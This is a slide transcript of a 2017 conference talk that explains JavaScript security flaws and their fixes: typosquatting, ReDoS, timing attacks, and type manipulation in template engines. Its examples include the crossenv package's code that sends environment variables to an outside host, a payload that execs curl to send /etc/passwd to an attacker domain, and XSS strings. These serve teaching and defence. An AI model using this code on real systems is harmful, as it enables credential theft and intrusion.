JavaScript Exposed at Midwest JS

Thanks to the a vibrant ecosystem and server-side runtimes like Node.js, our sites and applications are using more JavaScript than ever before. With so much JavaScript tied to critical functionality, understanding the security implications of that JavaScript is absolutely crucial so that we're not leaving our businesses, and our users, exposed.

In this talk, we'll go through some of the more interesting security JavaScript vulnerabilities so that we can see how they work, what they can impact, and most importantly, how to fix them.

Presented at MidwestJS in Minneapolis on August 17, 2017.

Transcript

1. JAVASCRIPT
   EXPOSED
   Tim Kadlec | @tkadlec
   

   View Slide

2. View Slide

3. TYPOSQUATTING
   

   View Slide

4. View Slide

5. {
   "name": "crossenv",
   "version": "6.1.1",
   "description": "Run scripts that set and use environment variables across
   platforms",
   "main": "index.js",
   "scripts": {
   "test": "echo \"Error: no test specified\" && exit 1",
   "postinstall": "node package-setup.js"
   },
   "author": "Kent C. Dodds (http://kentcdodds.com/)",
   "license": "ISC",
   "dependencies": {
   "cross-env": "^5.0.1"
   }
   }
   

   View Slide

6. {
   "name": "crossenv",
   "version": "6.1.1",
   "description": "Run scripts that set and use environment variables across
   platforms",
   "main": "index.js",
   "scripts": {
   "test": "echo \"Error: no test specified\" && exit 1",
   "postinstall": "node package-setup.js"
   },
   "author": "Kent C. Dodds (http://kentcdodds.com/)",
   "license": "ISC",
   "dependencies": {
   "cross-env": "^5.0.1"
   }
   }
   

   View Slide

7. const host = 'npm.hacktask.net';
   const env = JSON.stringify(process.env);
   const data = new Buffer(env).toString('base64');
   const postData = querystring.stringify({ data });
   const options = {
   hostname: host,
   port: 80,
   path: '/log',
   method: 'POST',
   headers: {
   'Content-Type': 'application/x-www-form-urlencoded',
   'Content-Length': Buffer.byteLength(postData);
   }
   };
   const req = http.request(options);
   req.write(postData);
   req.end();
   

   View Slide

8. const host = 'npm.hacktask.net';
   const env = JSON.stringify(process.env);
   const data = new Buffer(env).toString('base64');
   const postData = querystring.stringify({ data });
   const options = {
   hostname: host,
   port: 80,
   path: '/log',
   method: 'POST',
   headers: {
   'Content-Type': 'application/x-www-form-urlencoded',
   'Content-Length': Buffer.byteLength(postData);
   }
   };
   const req = http.request(options);
   req.write(postData);
   req.end();
   

   View Slide

9. const host = 'npm.hacktask.net';
   const env = JSON.stringify(process.env);
   const data = new Buffer(env).toString('base64');
   const postData = querystring.stringify({ data });
   const options = {
   hostname: host,
   port: 80,
   path: '/log',
   method: 'POST',
   headers: {
   'Content-Type': 'application/x-www-form-urlencoded',
   'Content-Length': Buffer.byteLength(postData);
   }
   };
   const req = http.request(options);
   req.write(postData);
   req.end();
   

   View Slide

10. View Slide

11. View Slide

12. View Slide

13. View Slide

14. CAN YOU TRUST
    THIRD-PARTY CODE?
    

    View Slide

15. THE RISK OF
    ABSTRACTIONS
    

    View Slide

16. ~83% FIND A
    VULNERABILITY
    

    View Slide

17. View Slide

18. var request = new XMLHttpRequest();
    request.open('GET', '/my/url', true);
    request.onload = function() {
    if (request.status >= 200 && request.status < 400) {
    // Success!
    var data = JSON.parse(request.responseText);
    } else {
    // Error!
    }
    };
    request.onerror = function() {
    // Something went wrong
    };
    request.send();
    

    View Slide

19. var request = new XMLHttpRequest();
    request.open('GET', '/my/url', true);
    request.onload = function() {
    if (request.status >= 200 && request.status < 400) {
    // Success!
    var data = JSON.parse(request.responseText);
    } else {
    // Error!
    }
    };
    request.onerror = function() {
    // Something went wrong
    };
    request.send();
    }
    

    View Slide

20. var request = new XMLHttpRequest();
    request.open('GET', '/my/url', true);
    request.onload = function() {
    if (request.status >= 200 && request.status < 400) {
    // Success!
    var data = JSON.parse(request.responseText);
    } else {
    // Error!
    }
    };
    request.onerror = function() {
    // Something went wrong
    };
    request.send();
    }
    

    View Slide

21. var request = new XMLHttpRequest();
    request.open('GET', '/my/url', true);
    request.onload = function() {
    if (request.status >= 200 && request.status < 400) {
    // Success!
    var data = JSON.parse(request.responseText);
    } else {
    // Error!
    }
    };
    request.onerror = function() {
    // Something went wrong
    };
    request.send();
    }
    

    View Slide

22. var request = new XMLHttpRequest();
    request.open('GET', '/my/url', true);
    request.onload = function() {
    if (request.status >= 200 && request.status < 400) {
    // Success!
    var data = JSON.parse(request.responseText);
    } else {
    // Error!
    }
    };
    request.onerror = function() {
    // Something went wrong
    };
    request.send();
    }
    

    View Slide

23. var request = new XMLHttpRequest();
    request.open('GET', '/my/url', true);
    request.onload = function() {
    if (request.status >= 200 && request.status < 400) {
    // Success!
    var data = JSON.parse(request.responseText);
    } else {
    // Error!
    }
    };
    request.onerror = function() {
    // Something went wrong
    };
    request.send();
    }
    

    View Slide

24. $.getJSON('/my/url', {})
    .done(function(){
    // Success!
    })
    .fail(function(){
    // Error!
    });
    

    View Slide

25. var request = new XMLHttpRequest();
    request.open('GET', '/my/url', true);
    request.onload = function() {
    if (request.status >= 200 && request.status < 400) {
    // Success!
    var data = JSON.parse(request.responseText);
    } else {
    // Error!
    }
    };
    request.onerror = function() {
    // Something went wrong
    };
    request.send();
    }
    

    View Slide

26. $.getJSON('/my/url', {})
    .done(function(){
    // Success!
    })
    .fail(function(){
    // Error!
    });
    

    View Slide

27. $.get('/my/url', {});
    

    View Slide

28. JS fatigue
    

    View Slide

29. JS fatigue
    

    View Slide

30. JS fatigue
    

    View Slide

31. CAN YOU TRUST
    THIRD-PARTY CODE?
    

    View Slide

32. CAN YOU TRUST
    CODE?
    

    View Slide

33. View Slide

34. HACKED
    WILL BE
    HACKED
    

    View Slide

35. HACKED
    WILL BE
    HACKED
    

    View Slide

36. 20-30
    bugs per 1,000 lines of code
    

    View Slide

37. 77%
    USE A VULNERABLE JS LIBRARY
    

    View Slide

38. NOT GREAT
    BUT FIXABLE
    

    View Slide

39. EVERYONE’S
    RESPONSIBILITY
    

    View Slide

40. WEAKNESSES
    IN THE LANGUAGE & ECOSYSTEM
    

    View Slide

41. THE
    EVENT LOOP
    

    View Slide

42. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    first();
    console.log("How's it going?");
    };
    second();
    

    View Slide

43. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    first();
    console.log("How's it going?");
    };
    second();
    

    View Slide

44. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    first();
    console.log("How's it going?");
    };
    second();
    second()
    

    View Slide

45. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    first();
    console.log("How's it going?");
    };
    second();
    second()
    

    View Slide

46. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    first();
    console.log("How's it going?");
    };
    second();
    second()
    first()
    

    View Slide

47. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    first();
    console.log("How's it going?");
    };
    second();
    second()
    first()
    

    View Slide

48. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    first();
    console.log("How's it going?");
    };
    second();
    second()
    

    View Slide

49. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    first();
    console.log("How's it going?");
    };
    second();
    second()
    

    View Slide

50. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    first();
    console.log("How's it going?");
    };
    second();
    

    View Slide

51. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    

    View Slide

52. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    

    View Slide

53. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    second()
    

    View Slide

54. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    second()
    

    View Slide

55. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    second()
    setTimeout()
    

    View Slide

56. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    second()
    0ms, console.log
    

    View Slide

57. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    second() console.log
    

    View Slide

58. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    second() console.log
    

    View Slide

59. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    second()
    first()
    console.log
    

    View Slide

60. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    second()
    first()
    console.log
    

    View Slide

61. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    second() console.log
    

    View Slide

62. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    second() console.log
    

    View Slide

63. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    console.log
    

    View Slide

64. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    console.log
    

    View Slide

65. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    console.log
    

    View Slide

66. var first = function(){
    console.log('Hey Midwest JS');
    };
    var second = function(){
    setTimeout(function(){
    console.log("How's it going?");
    }, 0);
    first();
    };
    second();
    

    View Slide

67. View Slide

68. ReDoS
    REGULAR EXPRESSION DENIAL OF SERVICE
    

    View Slide

69. var regex = /A(B|C+)+D/;
    

    View Slide

70. var regex = /A(B|C+)+D/;
    A
    

    View Slide

71. var regex = /A(B|C+)+D/;
    (B|C+)
    

    View Slide

72. var regex = /A(B|C+)+D/;
    +
    

    View Slide

73. var regex = /A(B|C+)+D/;
    D
    

    View Slide

74. var regex = /A(B|C+)+D/;
    ABBD
    ABCCCCD
    ABCBCCCD
    ACCCCCD
    

    View Slide

75. View Slide

76. View Slide

77. View Slide

78. View Slide

79. ACCCX
    CCC
    CC+C
    C+CC
    C+C+C
    var regex = /A(B|C+)+D/;
    

    View Slide

80. String Number of C’s Number of Steps
    ACCCX 3 38
    ACCCCX 4 71
    ACCCCCX 5 136
    ACCCCCCCCCCCCCCX 14 65,553
    

    View Slide

81. View Slide

82. moment().format('MMM Do YY');
    

    View Slide

83. moment().format('MMM Do YY');
    var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+)
    +MMMM?/;
    

    View Slide

84. moment().format('MMM Do YY');
    var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+)
    +MMMM?/;
    \s+)
    

    View Slide

85. m().format("D MMN
    MMMM");
    var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+)
    +MMMM?/;
    

    View Slide

86. var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+)
    +MMMM?/;
    

    View Slide

87. var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s
    +)MMMM?/;
    

    View Slide

88. View Slide

89. TIMING ATTACK
    

    View Slide

90. function isAdminToken(token)
    {
    var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-
    e6d0ddb8bbba";
    if (token == ADMIN_UUID) {
    return true;
    }
    return false;
    }
    

    View Slide

91. function isAdminToken(token)
    {
    var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-
    e6d0ddb8bbba";
    if (token == ADMIN_UUID) {
    return true;
    }
    return false;
    }
    token == ADMIN_UUID
    

    View Slide

92. foo == bar
    

    View Slide

93. foo == bar
    f b
    

    View Slide

94. foo == fox
    

    View Slide

95. foo == fox
    f f
    

    View Slide

96. foo == fox
    fo fo
    

    View Slide

97. foo == fox
    foo fox
    

    View Slide

98. function isAdminToken(token)
    {
    var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-
    e6d0ddb8bbba";
    if (token == ADMIN_UUID) {
    return true;
    }
    return false;
    }
    

    View Slide

99. function isAdminToken(token)
    {
    var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a-
    e6d0ddb8bbba";
    var mismatch = 0;
    for (var i = 0; i < token.length; ++i) {
    mismatch |= (token.charCodeAt(i) ^
    ADMIN_UUID.charCodeAt(i));
    }
    return mismatch;
    }
    

    View Slide

100. DYNAMIC
     TYPING
     

     View Slide

101. var foo = true;
     foo = 1;
     foo = "hotdogs";
     

     View Slide

102. TYPE MANIPULATION
     

     View Slide

103. View Slide

104. {@if cond="'{device}' == 'desktop'"}
     Desktop version
     {:else}
     Mobile Version
     {/if}
     

     View Slide

105. "if": function( chunk, context, bodies, params ){
     ...
     var cond = params.cond;
     cond = dust.helpers.tap(cond, chunk,
     context);
     // eval expressions with given dust
     references
     if(eval(cond)){
     ...
     }
     }
     

     View Slide

106. NEVER TRUST
     USER INPUT
     

     View Slide

107. dust.escapeHtml = function(s) {
     if (typeof s === 'string') {
     if (!HCHARS.test(s)) {
     return s;
     }
     return s.replace(AMP,'&').replace(...) //
     more char replacements
     }
     return s;
     }
     

     View Slide

108. dust.escapeHtml = function(s) {
     if (typeof s === 'string') {
     if (!HCHARS.test(s)) {
     return s;
     }
     return s.replace(AMP,'&').replace(...) //
     more char replacements
     }
     return s;
     }
     

     View Slide

109. View Slide

110. qs.parse('a'); // {a : ''}
     

     View Slide

111. qs.parse('a'); // {a : ''}
     qs.parse('a=foo'); // {a : 'foo'}
     

     View Slide

112. qs.parse('a'); // {a : ''}
     qs.parse('a=foo'); // {a : 'foo'}
     qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'}
     

     View Slide

113. qs.parse('a'); // {a : ''}
     qs.parse('a=foo'); // {a : 'foo'}
     qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'}
     qs.parse('a=foo&a=bar'); // {a : ['foo', 'bar']}
     

     View Slide

114. qs.parse('a'); // {a : ''}
     qs.parse('a=foo'); // {a : 'foo'}
     qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'}
     qs.parse('a=foo&a=bar'); // {a : ['foo', 'bar']}
     qs.parse('a[]=foo'); // {a : ['foo']}
     

     View Slide

115. https://host/demo?device[]=&device[]=
     

     View Slide

116. https://host/demo?device[]=&device[]=
     { device: [ '', '' ] }
     

     View Slide

117. https://host/demo?device[]=x&device[]=y'-
     require('child_process').exec(‘curl+-F
     +"x=`cat+/etc/passwd`"+artsploit.com')-'
     eval("'xy'-
     require('child_process').exec('curl -F
     \"x=`cat /etc/passwd`\" attacker.com')-''
     == 'desktop'");
     

     View Slide

118. DISALLOW
     DISALLOW NON-STRING PARAMETERS
     

     View Slide

119. NORMALIZE
     CONVERT TO SINGLE INPUT TYPE
     

     View Slide

120. CUSTOM HANDLING
     SPECIFIC HANDLING FOR ALLOWED TYPES
     

     View Slide

121. dust.escapeHtml = function(s) {
     if (typeof s === 'string') {
     if (!HCHARS.test(s)) {
     return s;
     }
     return s.replace(AMP,'&').replace(...) //
     more char replacements
     }
     return s;
     }
     

     View Slide

122. dust.escapeHtml = function(s) {
     if (typeof s === "string" || (s && typeof
     s.toString === "function")) {
     if (typeof s !== "string") {
     s = s.toString();
     }
     if (!HCHARS.test(s)) {
     return s;
     }
     }
     };
     

     View Slide

123. View Slide

124. nunjucks.renderString(
     'Hello ',
     {username: ‘alert(1)' });
     

     View Slide

125. nunjucks.renderString(
     'Hello ',
     {username: ‘alert(1)' });
     Hello <script>alert(1)<script>
     

     View Slide

126. escape: function(str) {
     if(typeof str === 'string') {
     return r.markSafe(lib.escape(str));
     }
     return str;
     }
     

     View Slide

127. escape: function(str) {
     if(typeof str === 'string') {
     return r.markSafe(lib.escape(str));
     }
     return str;
     }
     

     View Slide

128. http://host/?username[]=alert(1)</<br/>script>matt<br/>nunjucks.renderString(<br/>'Hello ',<br/>{username: ['<script>alert(1)</<br/>script>matt'] });<br/>

     View Slide

129. if(autoescape && !(val instanceof
     SafeString)) {
     val = lib.escape(val.toString());
     }
     

     View Slide

130. KNOW WHAT HAPPENS
     UNDER THE HOOD
     

     View Slide

131. FOUNDATIONAL
     KNOWLEDGE & CREATIVITY
     

     View Slide

132. NOT GREAT
     BUT FIXABLE
     

     View Slide

133. THANK YOU
     Tim Kadlec | @tkadlec
     

     View Slide